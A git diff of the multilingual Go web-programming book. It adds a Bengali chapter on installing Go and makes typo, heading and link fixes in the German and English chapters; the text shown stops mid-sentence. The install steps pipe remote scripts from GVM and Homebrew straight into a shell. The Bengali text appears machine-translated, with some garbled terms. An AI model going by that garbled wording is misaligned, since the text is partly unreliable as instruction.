diff --git a/.gitignore b/.gitignore index 4782776c3..34f22cc19 100644 --- a/.gitignore +++ b/.gitignore @@ -8,4 +8,8 @@ _book .DS_Store .gitignore .vscode -.git \ No newline at end of file +.git +/fa/working + +# Folders +.idea/ \ No newline at end of file diff --git a/LANGS.md b/LANGS.md index 3727e0366..a7a4b0e62 100644 --- a/LANGS.md +++ b/LANGS.md @@ -1,6 +1,11 @@ +* [Deutsch](de/) * [English](en/) -* [French](fr/) -* [中文](zh/) -* [日本語](ja/) +* [Español](es/) +* [Français](fr/) * [Português - Brasil](pt-br/) -* [German](de/) \ No newline at end of file +* [Русский](ru/) +* [Türkçe](tr/) +* [বাংলা](bn/) +* [日本語](ja/) +* [中文](zh/) +* [پارسی](fa/) diff --git a/README.md b/README.md index 3ef26c7b1..f7903b67f 100644 --- a/README.md +++ b/README.md @@ -1,15 +1,19 @@ # Multiple Language Versions +* [(HTML - PDF) on GitBook](https://astaxie.gitbooks.io/build-web-application-with-golang) +* [Deutsch](de/preface.md) * [English](en/preface.md) -* [French](fr/preface.md) -* [Spanish](es/preface.md) -* [中文](zh/preface.md) -* [日本語](ja/preface.md) -* [Turkish](tr/preface.md) +* [Español](es/preface.md) +* [Français](fr/preface.md) * [Português - Brasil](pt-br/preface.md) -* [German](de/preface.md) * [Русский](ru/preface.md) +* [Türkçe](tr/preface.md) * [বাংলা](bn/preface.md) +* [日本語](ja/preface.md) +* [简体中文](zh/preface.md) +* [正體中文](zh-tw/preface.md) +* [پارسی](fa/preface.md) +* [ภาษาไทย](th/preface.md) # Donate diff --git a/bn/01.1.md b/bn/01.1.md new file mode 100644 index 000000000..e0ee70461 --- /dev/null +++ b/bn/01.1.md @@ -0,0 +1,149 @@ +# ইনস্টলেশন ১.১ + +## ইনস্টলেশন ১.১ +আপনার কম্পিউটারে গো এর পরিবেশ কনফিগার করার অনেক উপায় আছে এবং আপনি আপনার পছন্দ মত যে কোনটি চয়ন করতে পারেন। নিম্নরূপ তিনটি সর্বাধিক প্রচলিত উপায়। + +- অফিসিয়াল ইনস্টলেশন প্যাকেজ। + - গো টিম উইন্ডোজ, লিনাক্স, ম্যাক এবং অন্যান্য অপারেটিং সিস্টেমে সুবিধাজনক ইনস্টলেশন প্যাকেজগুলি প্রদান করে। এটি সম্ভবত শুরু করার সবচেয়ে সহজ উপায়। আপনি গোল্যাং ডাউনলোড পেজ থেকে ইনস্টলার পেতে পারেন। + +- সোর্স কোড থেকে এটি ইনস্টল করতে পারেন + + - এটি ডেভেলপারদের সাথে পরিচিত যারা ইউনিক্স-মত সিস্টেমের সাথে পরিচিত। +- তৃতীয় পক্ষের সরঞ্জাম ব্যবহার করে + - গো ইনস্টল করার জন্য অনেক তৃতীয় পক্ষের সরঞ্জাম এবং প্যাকেজ ম্যানেজার রয়েছে, যেমন উবুন্টুতে FT- প্রফিট এবং ম্যাকে হোমব্রো । +আপনি যদি কম্পিউটারে একাধিক সংস্করণ ইনস্টল করতে চান, তাহলে আপনাকে [GVM](https://github.com/moovweb/gvm) নামক একটি প্যাকেজ ম্যানেজার ইনস্টল করতে হবে। এই কাজের জন্য এটি সবচেয়ে ভালো , অন্যথায় আপনাকে নিজে এটি পরিচালনা করতে হবে। + +## সোর্স কোড থেকে ইনস্টল করুন + +গো ১.৫ এবং ঊর্ধ্বগামী কম্পাইল করার জন্য, শুধুমাত্র আপনার গো এর আগের সংস্করণটি দরকার, যেমনটি বুটস্ট্র্যাপিং অর্জন করেছে। আপনার শুধুমাত্র Go কম্পাইল প্রয়োজন + +go ১.৪ নীচের দিকে কম্পাইল করতে,আপনাকে সি সি-কম্পাইলার প্রয়োজন হবে কারণ গো এর কিছু অংশ এখনও প্ল্যান 9 সি এবং এটি এন্ড টি এসেম্বারের মধ্যে লেখা আছে। + +ম্যাক এ যদি আপনি Xcode ইনস্টল করেন তবে আপনার ইতিমধ্যেই কম্পাইলার আছে। + +ইউনিক্স-মত সিস্টেমগুলিতে, আপনি gcc বা অনুরূপ কম্পাইলার ইনস্টল করতে হবে। উদাহরণস্বরূপ, প্যাকেজ ম্যানেজার apt-get (উবুন্টুতে অন্তর্ভুক্ত) ব্যবহার করে, প্রয়োজন অনুসারে প্রয়োজনীয় কম্পাইলার ইনস্টল করতে পারেন: + +```sh +sudo apt-get install gcc libc6-dev +``` + +উইন্ডোজে, আপনার জি.সি.সি. ইনস্টল করার জন্য আপনাকে মিনিগড ইনস্টল করতে হবে। ইনস্টলেশনের পরে আপনার এনভেরিয়েবলগুলি কনফিগার করতে ভুলবেন না। (*** এটির মত দেখায় যে এটি একটি অনুবাদক দ্বারা মন্তব্য করা হয়েছে: যদি আপনি 64-বিট উইন্ডোজ ব্যবহার করছেন তবে আপনাকে 64-বিট সংস্করণটি ইনস্টল করতে হবে MinGW ***) + +এই মুহুর্তে, Go সোর্স কোড ক্লোন করতে এবং এটি কম্পাইল করার জন্য নিম্নোক্ত কমান্ডগুলি চালনা করুন (*** এটি আপনার বর্তমান ডিরেক্টরীতে সোর্স কোড ক্লোন করবে। আপনি চালিয়ে যাওয়ার আগে আপনার কাজের পাথ পরিবর্তন করুন। এটি কিছু সময় নিতে পারে। *** ) + + git clone https://go.googlesource.com/go + cd go/src + ./all.bash + + একটি সফল ইনস্টলেশন "সমস্ত পরীক্ষা পাস" বার্তার সঙ্গে শেষ হবে। + +উইন্ডোজে, আপনি 'all.bat` চালানোর মাধ্যমে এটি অর্জন করতে পারেন। + +আপনি যদি উইন্ডোজ ব্যবহার করেন, তাহলে ইনস্টলেশনের প্যাকেজটি আপনার ওয়্যারলেস ভেরিয়েবল স্বয়ংক্রিয়ভাবে সেট করবে। ইউনিক্স-মত সিস্টেমগুলিতে, আপনাকে এই ভেরিয়েবলগুলিকে ম্যানুয়ালি সেট করতে হবে। (*** আপনার Go সংস্করণটি 1.0 এর চেয়ে বড় হলে আপনার $ GOBIN সেট করতে হবে না এবং এটি স্বয়ংক্রিয়ভাবে আপনার $ GOROOT / bin এর সাথে সম্পর্কিত হবে, যা আমরা পরবর্তী অংশে আলোচনা করব ***)। + + export GOROOT=$HOME/go + export GOBIN=$GOROOT/bin + export PATH=$PATH:$GOROOT/bin + +আপনি যদি আপনার পর্দায় নিম্নলিখিত তথ্য দেখতে পান, আপনি সব সেট হয়। + +![](images/1.1.mac.png?raw=true) + +চিত্র 1.1 সূত্র কোড থেকে ইনস্টল করার পরে তথ্য + +একবার আপনি Go এর ব্যবহারের তথ্য দেখেন, এর মানে হল আপনি সফলভাবে ইনস্টল করেছেন আপনার কম্পিউটারে । যদি এটি " কমান্ডের মতো না বলে", তবে পরীক্ষা করুন যে আপনার $ PATH এনভায়রনমেন্ট ভেরিয়েবল Go- এর ইনস্টলেশন পাথ রয়েছে কিনা। + +## স্ট্যান্ডার্ড ইনস্টলেশন প্যাকেজ ব্যবহার করে + +গো আর প্রতিটি সমর্থিত অপারেটিং সিস্টেমের জন্য এক ক্লিকে ইনস্টলেশনের প্যাকেজ রয়েছে । এই প্যাকেজটি ডিফল্টভাবে `/ usr / local / go` (` c: \ Go` উইন্ডোজে) চালু হবে। অবশ্যই এই পরিবর্তন করা যেতে পারে, কিন্তু উপরে দেখানো হিসাবে আপনাকে সব পরিবেশের ভেরিয়েবলগুলি পরিবর্তন করতে হবে। + +### আপনার অপারেটিং সিস্টেম 32-বিট বা 64-বিট কিভাবে পরীক্ষা করবেন ? + +আমাদের পরবর্তী পদক্ষেপটি আপনার অপারেটিং সিস্টেমের প্রকারের উপর নির্ভর করে, তাই আমাদের স্ট্যান্ডার্ড ইনস্টলেশন প্যাকেজগুলি ডাউনলোড করার আগে এটি পরীক্ষা করতে হবে। + +আপনি যদি উইন্ডোজ ব্যবহার করছেন, তাহলে `win + আর` টিপুন এবং কমান্ড টুলটি রান করুন। `Systeminfo` কমান্ডটি টাইপ করুন এবং এটি আপনাকে কিছু দরকারী সিস্টেম তথ্য দেখাবে। "সিস্টেম type" বলে লাইন খুঁজুন - যদি আপনি "x64- ভিত্তিক পিসি" দেখতে পান যা আপনার অপারেটিং সিস্টেম 64-বিট, 32-বিট নয়। + +আমি ম্যাক ওএসএক্সে 32-বিট প্রসেসরকে আর সমর্থন করি না কেননা আমি ম্যাক ইউজার হিসাবে 64-বিট প্যাকেজটি ডাউনলোড করার জন্য দৃঢ়ভাবে সুপারিশ করছি। + +লিনাক্স ব্যবহারকারীরা সিস্টেমের তথ্য দেখতে টার্মিনালে `uname -a` টাইপ করতে পারেন। +একটি 64 বিট অপারেটিং সিস্টেম নিম্নলিখিত দেখাবে: + +     x86_64 x86_64 x86_64 GNU / Linux +    // কিছু মেশিন যেমন উবুন্টু 10.04 নিম্নলিখিত হিসাবে প্রদর্শন করা হবে +    x86_64 GNU / লিনাক্স + +32-বিট অপারেটিং সিস্টেম পরিবর্তে দেখান: + +     i686 i686 i386 GNU / লিনাক্স + +### ম্যাক + +[ডাউনলোড পেজ ] (https://golang.org/dl/) এ যান, 32 বিট সিস্টেমের জন্য `go1.4.2.darwin-386.pkg` (পরবর্তী সংস্করণে 32-বিট ডাউনলোড নেই।) নির্বাচন করুন এবং `go1.8.3.darwin-amd64.pkg` 64 বিট সিস্টেমের জন্য। "পরবর্তী" ক্লিক করে শেষ পর্যন্ত সব পথ ধরে, আপনার সিস্টেমের $ PATH- এ যোগ করার পরে `~ / go / bin 'যোগ করা হবে। এখন টার্মিনাল খুলুন এবং `go` টাইপ করুন। আপনি চিত্র 1.1 এ প্রদর্শিত একই আউটপুট দেখতে হবে। + +### লিনাক্স + +[ডাউনলোড পেজ] (https://golang.org/dl/) এ যান, 32-বিট সিস্টেমের জন্য `go1.8.3.linux-386.tar.gz` এবং` go1.8.3.linux-amd64.tar নির্বাচন করুন 64-বিট সিস্টেমের জন্য .gz`। ধরুন আপনি '$ GO_INSTALL_DIR' পথে গিয়ে ইনস্টল করতে চান। `Tar zxvf go1.8.3.linux-amd64.tar.gz -C $ GO_INSTALL_DIR` কমান্ডের সাহায্যে আপনার নির্বাচিত পাথে` tar.gz` আনকম্প্রেস করুন। তারপরে আপনার $ PATH সেট করুন: 'রপ্তানি PATH = $ PATH: $ GO_INSTALL_DIR / go / bin' এখন শুধু টার্মিনাল খুলুন এবং `go` টাইপ করুন আপনি এখন চিত্র 1.1 এ প্রদর্শিত একই আউটপুট দেখতে হবে। + +### উইন্ডোজ + +[ডাউনলোড পেজ] (https://golang.org/dl/) এ যান, 32 বিট সিস্টেমের জন্য `go1.8.3.windows-386.msi` এবং` go1.8.3.windows-amd64.msi` নির্বাচন করুন 64-বিট সিস্টেম "পরবর্তী" ক্লিক করে শেষ পর্যন্ত সমস্ত পথ ধরে, `c: / go / bin '` পাথ' এ যোগ করা হবে। এখন শুধু একটি কমান্ড লাইন উইন্ডো খুলুন এবং `go` টাইপ করুন আপনি এখন চিত্র 1.1 এ প্রদর্শিত একই আউটপুট দেখতে হবে। + +## তৃতীয় পক্ষের সরঞ্জামগুলি ব্যবহার করুন + +### জিএমএম + +GVM একটি গৌণ সংস্করণ নিয়ন্ত্রণ সরঞ্জাম যা তৃতীয় পক্ষের দ্বারা তৈরি হয়, যেমন রুবি জন্য rvm। এটি ব্যবহার করতে বেশ সহজ। আপনার টার্মিনালে নিম্নোক্ত কমান্ডগুলি লিখে gvm ইনস্টল করুন: + + bash < <(curl -s -S -L https://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer) + +তারপর আমরা নিম্নলিখিত কমান্ড ব্যবহার করে ইনস্টল করবো : + + gvm install go1.8.3 + gvm use go1.8.3 + +এই প্রক্রিয়াটি সম্পূর্ণ হওয়ার পরে, আপনার সব সেট আছে। + +### Apt-get + +উবুন্টু লিনাক্সের সবচেয়ে জনপ্রিয় ডেস্কটপ রিলিজ সংস্করণ। এটি প্যাকেটগুলি পরিচালনার জন্য `apt-get` ব্যবহার করে। আমরা নিম্নলিখিত কমান্ড ব্যবহার করে Go ইনস্টল করতে পারি + + sudo add-apt-repository ppa:gophers/go + sudo apt-get update + sudo apt-get install golang-go + +### wget +```sh + +wget https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz +sudo tar -xzf go1.8.3.linux-amd64.tar.gz -C /usr/local + +# Go environment +export GOROOT=/usr/local/go +export GOBIN=$GOROOT/bin +export PATH=$PATH:$GOBIN +export GOPATH=$HOME/gopath +``` + +1.8 থেকে শুরু করে, GOPATH এনভায়রনমেন্ট ভেরিয়েবলটি এখন যদি সেট না থাকে তবে একটি ডিফল্ট মান থাকে। এটা ইউনিক্সে `$ HOME / go` এবং Windows এ`% USERPROFILE% / go` এ ডিফল্ট। +### Homebrew + +Homebrew একটি সফটওয়্যার ম্যানেজমেন্ট টুল যা সাধারণত প্যাকেজগুলি পরিচালনার জন্য ম্যাকে ব্যবহৃত হয়। Go ইনস্টল করার জন্য নিম্নোক্ত কমান্ডগুলি টাইপ করুন। + +১. হোমব্রু ইনস্টল করুন + +```sh + /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" +``` + +২. গো ইনস্টল করুন + +```sh + brew update && brew upgrade + brew install go +``` +## লিঙ্ক + +- [ডিরেক্টরি](preface.md) +- আগের অধ্যায়: [গো এনভায়রনমেন্ট কনফিগারেশন](01.0.md) +- পরিবর্তী ধাপ: [$GOPATH and workspace](01.2.md) + diff --git a/de/01.2.md b/de/01.2.md index 412384708..dc0285888 100644 --- a/de/01.2.md +++ b/de/01.2.md @@ -1,4 +1,4 @@ -#1.2 $GOPATH und Workspaces +# 1.2 $GOPATH und Workspaces ## $GOPATH @@ -92,13 +92,13 @@ Um die Anwendung zu kompilieren, müssen wir zurück in das Verzeichnis, in welc ## Installation von Paketen Dritter (Remote Packages) -Go umfasst ein Werkzeug zum Installieren von Remote Packages, also Paketen die von anderen Programmierern erstellt wurden. Mit dem Befehl `go get` kannst Du diese für die eigene Nutzung installieren. Es unterstützt die meisten Open Source Communities wie Github, Google Code, Bitbucket und Launchpad. +Go umfasst ein Werkzeug zum Installieren von Remote Packages, also Paketen die von anderen Programmierern erstellt wurden. Mit dem Befehl `go get` kannst Du diese für die eigene Nutzung installieren. Es unterstützt die meisten Open Source Communities wie GitHub, Google Code, Bitbucket und Launchpad. go get github.com/astaxie/beedb Du kannst `go get -u …` nutzen, um ein Remote Package zu aktualisieren. Zugleich werden auch alle benötigten Abhängigkeiten mit installiert. -Dieser Befehl nutzt verschiedene Versionskontrollsysteme für die verschiedenen Open Source Plattformen. So wird beispielsweise `git` für Github und `hg` für Google Code verwendet. Daher musst Du zuerst die entsprechenden Versionskontrollsysteme installieren, ehe Du `go get` nutzen kannst. +Dieser Befehl nutzt verschiedene Versionskontrollsysteme für die verschiedenen Open Source Plattformen. So wird beispielsweise `git` für GitHub und `hg` für Google Code verwendet. Daher musst Du zuerst die entsprechenden Versionskontrollsysteme installieren, ehe Du `go get` nutzen kannst. Nach dem Ausführen der oben gezeigten Befehle, sollte die Orderstruktur etwa so aussehen. diff --git a/de/01.3.md b/de/01.3.md index 54367e6cb..a1ef5a721 100644 --- a/de/01.3.md +++ b/de/01.3.md @@ -1,4 +1,4 @@ -#1.3 Go Befehle +# 1.3 Go Befehle ## Go Befehle @@ -43,7 +43,7 @@ Dieser Befehl löscht alle Dateien, die vom Kompiler generiert wurden, einschlie DIR.test(.exe) // Generiert von go test -c MAINFILE(.exe) // Generiert von go build MAINFILE.go -Überlicherweise nutze ich diese Befehle zum Säubern von Projekten, bevor ich diese auf Github hochlade. Sie sind nützlich für lokale Tests, aber nutzlos zur Versionskontrolle. +Überlicherweise nutze ich diese Befehle zum Säubern von Projekten, bevor ich diese auf GitHub hochlade. Sie sind nützlich für lokale Tests, aber nutzlos zur Versionskontrolle. ## go fmt und gofmt @@ -56,10 +56,10 @@ Wir nutzen üblicherweise `gofmt -w` statt `go fmt`. Somit wird Deine Quellcoded ## go get -Dieser Befehl ermöglicht es, Remote Packages herunterzuladen. Bisher untersützt es Bitbucket, Github, Google Code und Launchpad. Es geschehen zwei Dinge, nachdem wir den Befehl ausgeführt haben. Als erstes lädt Go den Quellcode herunter und führt danach `go install` aus. Bevor Du `go get` nutzt, solltest Du vorher die benötigten Versionskontrollsysteme herunterladen. +Dieser Befehl ermöglicht es, Remote Packages herunterzuladen. Bisher untersützt es Bitbucket, GitHub, Google Code und Launchpad. Es geschehen zwei Dinge, nachdem wir den Befehl ausgeführt haben. Als erstes lädt Go den Quellcode herunter und führt danach `go install` aus. Bevor Du `go get` nutzt, solltest Du vorher die benötigten Versionskontrollsysteme herunterladen. BitBucket (Mercurial und Git) - Github (Git) + GitHub (Git) Google Code (Git, Mercurial, Subversion) Launchpad (Bazaar) diff --git a/de/01.5.md b/de/01.5.md index 7ebe15f99..a0e386d67 100644 --- a/de/01.5.md +++ b/de/01.5.md @@ -1,6 +1,6 @@ # 1.5 Zusammenfassung -In diesem Kapitel haben wir die Installation auf drei verschiedene Arten besprochen. Dies waren die manuelle Installation mit Hilfe des Quellcodes von Go, die offiziellen Ein-Klick-Installationen und durch Lösungen Dritter. Danach haben wir uns mit der Konfiguration der Go Entwicklungsumgebung auseinander gesetzt, welche hauptsächlich die Einrichtung Deines `$GOPATH` umfasst. Zudem habe ich Dir gezeigt, wie man Programme kompiliert und einsetzt. Des Weiteren hast Du die verschiedenen Terminal-Befehle zum Kompilieren, Installieren, Formatieren und Testen von Go kennengelernt. Zum Schluss hast Du Dir mächtige Entwicklungswerkzeuge wie LiteIDE, Sublime Text, Vim, Emacs, Eclipse, IntelliJ IDEA u.a. zu Nutze gemacht. Suche Dir eines aus, um die Welt von Go zu erforschen. +In diesem Kapitel haben wir die Installation auf drei verschiedene Arten besprochen. Dies waren die manuelle Installation mit Hilfe des Quellcodes von Go, die offiziellen Ein-Klick-Installationen und durch Lösungen Dritter. Danach haben wir uns mit der Konfiguration der Go Entwicklungsumgebung auseinander gesetzt, welche hauptsächlich die Einrichtung Deines `$GOPATH` umfasst. Zudem habe ich Dir gezeigt, wie man Programme kompiliert und einsetzt. Des Weiteren hast Du die verschiedenen Terminal-Befehle zum Kompilieren, Installieren, Formatieren und Testen von Go kennengelernt. Zum Schluss hast Du Dir mächtige Entwicklungswerkzeuge wie LiteIDE, Sublime Text, Vim, GoLand, Emacs, Eclipse, IntelliJ IDEA u.a. zu Nutze gemacht. Suche Dir eines aus, um die Welt von Go zu erforschen. ## Links diff --git a/de/02.2.md b/de/02.2.md index 9a9d870ce..f910399d5 100644 --- a/de/02.2.md +++ b/de/02.2.md @@ -394,7 +394,7 @@ Einige Anmerkungen zur Nutzung von maps. - `map` ist ungeordnet. Jedesmal, wenn Du eine `map` ausgeben willst, erhälst Du ein anderes Ergebnis. Dadurch ist es unmöglich, Werte über den `index` abzufragen. Nutze dafür den entsprechenden `Schlüssel`. - `map` hat keine feste Länge. Dieser Datentyp ist wie `slice` lediglich ein Verweis. - `len` funktioniert bei `map` auch. Es werden die Anzahl der `Schlüssel` zurückgegeben. -- Es ist ziemlich einfach, der Wert in einer `map` zu ändern. Nutze `nummern["eins"]=11`, um den `Schlüssel` one den Wert `11` zuzuweisen. +- Es ist ziemlich einfach, der Wert in einer `map` zu ändern. Nutze `nummern["eins"]=11`, um den `Schlüssel` eins den Wert `11` zuzuweisen. Du kannst das Schema `Schlüssel:Wert` nutzen, um eine `map` mit Startwerten zu erstellen. `map` hat auch eingebaute Funktionen, um die Existenz eines `key` zu überprüfen. diff --git a/de/03.0.md b/de/03.0.md index e3b0cc5dc..a61c72521 100644 --- a/de/03.0.md +++ b/de/03.0.md @@ -1,4 +1,4 @@ -#3 Internet Grundlagen +# 3 Internet Grundlagen Der Grund warum du dieses Buch liest, ist das du lernen möchtest wie man mit Go Webanwendungen erstellt. Wie ich schon sagte, stellt Go viele mächtige Pakete wie `http` zur Verfügung. Die Pakete können dir eine große Hilfe sein um Webanwendungen zu erstellen. In den nächsten Kapiteln werde ich dir hierzu alles beibringen, was du wissen musst. Wir werden in diesem Kapitel über einige Konzepte des Internet und wie man Webanwendung mit Go ausführt sprechen. diff --git a/de/04.1.md b/de/04.1.md index a95ade6c3..3bada622d 100644 --- a/de/04.1.md +++ b/de/04.1.md @@ -55,7 +55,7 @@ This is easy to find out using the `http` package. Let's see how to handle the f fmt.Println("password:", r.Form["password"]) } } - + func main() { http.HandleFunc("/", sayhelloName) // setting router rule http.HandleFunc("/login", login) @@ -84,9 +84,9 @@ Try changing the value of the action in the form `http://127.0.0.1:9090/login` t ![](images/4.1.slice.png?raw=true) -Figure 4.2 Server prints request data +Figure 4.2 Server prints request data -The type of `request.Form` is `url.Value`. It saves data with the format `key=value`. +The type of `request.Form` is `url.Values`. It saves data with the format `key=value`. v := url.Values{} v.Set("name", "Ava") diff --git a/de/05.1.md b/de/05.1.md index a590377e7..82316e0aa 100644 --- a/de/05.1.md +++ b/de/05.1.md @@ -185,7 +185,7 @@ At this point, you should know a bit about developping database drivers in Go. O ## database/sql -databse/sql defines even more high-level methods on top of database/sql/driver for more convenient database operations, and it suggests that you implement a connection pool. +database/sql defines even more high-level methods on top of database/sql/driver for more convenient database operations, and it suggests that you implement a connection pool. type DB struct { driver driver.Driver diff --git a/de/05.2.md b/de/05.2.md index 31a622470..f51f1acae 100644 --- a/de/05.2.md +++ b/de/05.2.md @@ -13,7 +13,7 @@ There are a couple of drivers that support MySQL in Go. Some of them implement t I'll use the first driver in the following examples (I use this one in my personal projects too), and I also recommend that you use it for the following reasons: - It's a new database driver and supports more features. -- Fully supports `databse/sql` interface standards. +- Fully supports `database/sql` interface standards. - Supports keepalive, long connections with thread-safety. ## Samples @@ -23,7 +23,7 @@ In the following sections, I'll use the same database table structure for differ CREATE TABLE `userinfo` ( `uid` INT(10) NOT NULL AUTO_INCREMENT, `username` VARCHAR(64) NULL DEFAULT NULL, - `departname` VARCHAR(64) NULL DEFAULT NULL, + `department` VARCHAR(64) NULL DEFAULT NULL, `created` DATE NULL DEFAULT NULL, PRIMARY KEY (`uid`) ); @@ -43,7 +43,7 @@ The following example shows how to operate on a database based on the `database/ checkErr(err) // insert - stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?") + stmt, err := db.Prepare("INSERT userinfo SET username=?,department=?,created=?") checkErr(err) res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") diff --git a/de/05.3.md b/de/05.3.md index 6baa7af74..5a839acfc 100644 --- a/de/05.3.md +++ b/de/05.3.md @@ -19,7 +19,7 @@ We create the following SQL: CREATE TABLE `userinfo` ( `uid` INTEGER PRIMARY KEY AUTOINCREMENT, `username` VARCHAR(64) NULL, - `departname` VARCHAR(64) NULL, + `department` VARCHAR(64) NULL, `created` DATE NULL ); @@ -39,7 +39,7 @@ An example: checkErr(err) // insert - stmt, err := db.Prepare("INSERT INTO userinfo(username, departname, created) values(?,?,?)") + stmt, err := db.Prepare("INSERT INTO userinfo(username, department, created) values(?,?,?)") checkErr(err) res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") diff --git a/de/05.4.md b/de/05.4.md index f495203fb..6b51b5a4f 100644 --- a/de/05.4.md +++ b/de/05.4.md @@ -20,7 +20,7 @@ We create the following SQL: ( uid serial NOT NULL, username character varying(100) NOT NULL, - departname character varying(500) NOT NULL, + department character varying(500) NOT NULL, Created date, CONSTRAINT userinfo_pkey PRIMARY KEY (uid) ) @@ -53,7 +53,7 @@ An example: fmt.Println("# Inserting values") var lastInsertId int - err = db.QueryRow("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) returning uid;", "astaxie", "研发部门", "2012-12-09").Scan(&lastInsertId) + err = db.QueryRow("INSERT INTO userinfo(username,department,created) VALUES($1,$2,$3) returning uid;", "astaxie", "研发部门", "2012-12-09").Scan(&lastInsertId) checkErr(err) fmt.Println("last inserted id =", lastInsertId) diff --git a/de/09.5.md b/de/09.5.md index 1c206b8a5..22d44c3ee 100644 --- a/de/09.5.md +++ b/de/09.5.md @@ -75,7 +75,7 @@ Very secure systems utilize hash algorithms that take into account the time and In Go, it's recommended that you use the `scrypt` package, which is based on the work of the famous hacker Colin Percival (of the FreeBSD backup service Tarsnap). -The packge's source code can be found at the following link: http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt +The packge's source code can be found at the following link: https://github.com/golang/crypto/tree/master/scrypt Here is an example code snippet which can be used to obtain a derived key for an AES-256 encryption: diff --git a/de/10.2.md b/de/10.2.md index b9b7714bd..c111fe301 100644 --- a/de/10.2.md +++ b/de/10.2.md @@ -87,7 +87,7 @@ Obviously, currency differs from region to region also. We can treat it the same en["money"] ="USD %d" cn["money"] ="¥%d元" - fmt.Println(date(msg(lang,"date_format"),100)) + fmt.Println(money_format(msg(lang,"money"),100)) func money_format(fomat string, money int64) string{ return fmt.Sprintf(fomat, money) diff --git a/de/10.3.md b/de/10.3.md index 6d1ef4cb1..5cef29eb5 100644 --- a/de/10.3.md +++ b/de/10.3.md @@ -15,7 +15,7 @@ In the development of an application, often the first thing you need to do is to } } - #en.json + # en.json { "en": { diff --git a/de/12.3.md b/de/12.3.md index 8f46bd75a..5b1108aad 100644 --- a/de/12.3.md +++ b/de/12.3.md @@ -4,7 +4,7 @@ When our web application is finally production ready, what are the steps necessa ## Daemons -Currently, Go programs cannot cannot be run as daemon processes (for additional information, see the open issue on github [here](https://github.com/golang/go/issues/227)). It's difficult to fork existing threads in Go because there is no way of ensuring a consistent state in all threads that have been used. +Currently, Go programs cannot cannot be run as daemon processes (for additional information, see the open issue on GitHub [here](https://github.com/golang/go/issues/227)). It's difficult to fork existing threads in Go because there is no way of ensuring a consistent state in all threads that have been used. We can, however, see many attempts at implementing daemons online, such as in the two following ways; diff --git a/de/14.4.md b/de/14.4.md index 2bc3cf847..15f20a887 100644 --- a/de/14.4.md +++ b/de/14.4.md @@ -56,7 +56,7 @@ OAuth and OAuth 2 are currently two of the most popular authentication methods. github.com/bradrydzewski/go.auth -The code below demonstrates how to use this library to implement OAuth authentication in Beego using our Github credentials: +The code below demonstrates how to use this library to implement OAuth authentication in Beego using our GitHub credentials: 1. Let's add some routes @@ -147,7 +147,7 @@ After clicking "Authorize app", the following screen appears: ![](images/14.4.github3.png?raw=true) -Figure 14.6 authorized Github information gets displayed after the login page +Figure 14.6 authorized GitHub information gets displayed after the login page ## Custom authentication diff --git a/de/14.5.md b/de/14.5.md index 01d56a391..0f35d27a7 100644 --- a/de/14.5.md +++ b/de/14.5.md @@ -81,7 +81,7 @@ In order to facilitate multi-language calls in the template package directly, we } } - #en.json + # en.json { "en": { diff --git a/de/code/src/apps/ch.5.2/readme.md b/de/code/src/apps/ch.5.2/readme.md index bbeb630b1..9e34f7d78 100644 --- a/de/code/src/apps/ch.5.2/readme.md +++ b/de/code/src/apps/ch.5.2/readme.md @@ -1,4 +1,4 @@ -##Setup for `ch.5.2` +## Setup for `ch.5.2` - Step 1) Install and run MySql - Step 2) Create a user and database according to the constants in `main.go` diff --git a/de/code/src/apps/ch.5.4/readme.md b/de/code/src/apps/ch.5.4/readme.md index 1bb608580..74f1e2a3c 100644 --- a/de/code/src/apps/ch.5.4/readme.md +++ b/de/code/src/apps/ch.5.4/readme.md @@ -1,4 +1,4 @@ -##Setup for ch.5.4 +## Setup for ch.5.4 - Step 1) Install and run Postgres - Step 2) Create a user and database according to the constants in `main.go` diff --git a/de/code/src/apps/ch.5.6/mongodb/readme.md b/de/code/src/apps/ch.5.6/mongodb/readme.md index a2aa6410d..35bee2fe2 100644 --- a/de/code/src/apps/ch.5.6/mongodb/readme.md +++ b/de/code/src/apps/ch.5.6/mongodb/readme.md @@ -1,4 +1,4 @@ -##Setup for `ch.5.6` for MongoDB +## Setup for `ch.5.6` for MongoDB - Step 1) Install and run MongoDB - Step 2) Launch the MongoDB daemon (mongod) to start the server. diff --git a/de/code/src/apps/ch.5.6/redis/readme.md b/de/code/src/apps/ch.5.6/redis/readme.md index fb8a70d8e..4965e7bb3 100644 --- a/de/code/src/apps/ch.5.6/redis/readme.md +++ b/de/code/src/apps/ch.5.6/redis/readme.md @@ -1,4 +1,4 @@ -##Setup for `ch.5.6` for Redis +## Setup for `ch.5.6` for Redis - Step 1) Install and run Redis - Step 2) Launch the Redis server matching the DB constants. diff --git a/en/01.1.md b/en/01.1.md index 4e808c381..35e8e16de 100644 --- a/en/01.1.md +++ b/en/01.1.md @@ -15,15 +15,18 @@ There are many ways to configure the Go development environment on your computer In case you want to install more than one version of Go on a computer, you should take a look at a tool called [GVM](https://github.com/moovweb/gvm). It is the best tool I've seen so far for accomplishing this task, otherwise you'd have to deal with it yourself. ## Install from source code -Go 1.5 completely remove the C code,Runtime、Compiler、Linker powered by Go,Achieve bootstrapping,You only need the previous version to compile go. -But before Go 1.5 some parts of Go are written in Plan 9 C and AT&T assembler, you have to install a C compiler before taking the next step. +To compile Go 1.5 and upwards, you only need the previous version of Go, as Go has achieved bootstrapping. You only need Go to compile Go. + +To compile Go 1.4 downwards, you will need a C compiler as some parts of Go are still written in Plan 9 C and AT&T assembler. On a Mac, if you have installed Xcode, you already have the compiler. On Unix-like systems, you need to install gcc or a similar compiler. For example, using the package manager apt-get (included with Ubuntu), one can install the required compilers as follows: - `sudo apt-get install gcc libc6-dev` +```sh +sudo apt-get install gcc libc6-dev +``` On Windows, you need to install MinGW in order to install gcc. Don't forget to configure your environment variables after the installation has completed.( ***Everything that looks like this means it's commented by a translator: If you are using 64-bit Windows, you should install the 64-bit version of MinGW*** ) @@ -76,15 +79,15 @@ A 64-bit operating system will show the following: ### Mac -Go to the [download page](https://golang.org/dl/), choose `go1.4.2.darwin-386.pkg` (The later version has no 32-bit download.)for 32-bit systems and `go1.8.1.darwin-amd64.pkg` for 64-bit systems. Going all the way to the end by clicking "next", 